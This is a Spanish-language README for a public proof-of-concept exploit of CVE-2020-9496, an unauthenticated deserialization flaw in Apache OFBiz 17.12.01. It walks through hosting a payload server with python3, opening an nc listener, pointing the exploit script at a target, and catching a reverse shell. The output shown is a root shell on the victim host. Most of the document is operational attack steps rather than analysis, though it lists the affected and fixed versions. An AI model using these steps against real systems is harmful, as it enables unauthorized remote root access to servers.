CVE-2020-9496

Debido a que las 2 solicitudes relacionadas con xmlrpc en webtools (xmlrpc y ping) no utilizan autenticación, son vulnerables a una deserialización insegura.
Este problema fue reportado al equipo de seguridad por Alvaro Munoz [email protected] del equipo GitHub Security Lab.

Versión Afectada 17.12.01

Versiones Corregidas 18.12.01, 17.12.04

Blog Original: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Publicación de Apache: https://issues.apache.org/jira/browse/OFBIZ-11716
PoC de Github: https://github.com/g33xter/CVE-2020-9496

Para que este exploit funcione, deberás seguir los siguientes pasos:

Paso 1: Aloja un servicio HTTP con python3

> sudo python3 -m http.server 80

Paso 2: Ejecuta el listener de nc en el puerto deseado (Recomendado 8001)

> nc -nlvp 8001

Paso 3: Cambia la URL del sitio web y el puerto dentro del script:

url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

Paso 4: Ejecuta el exploit como se muestra a continuación

> ./cve-2020-9496.sh -i IP -p PORT

Paso 5: Revisa el listener de nc

❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#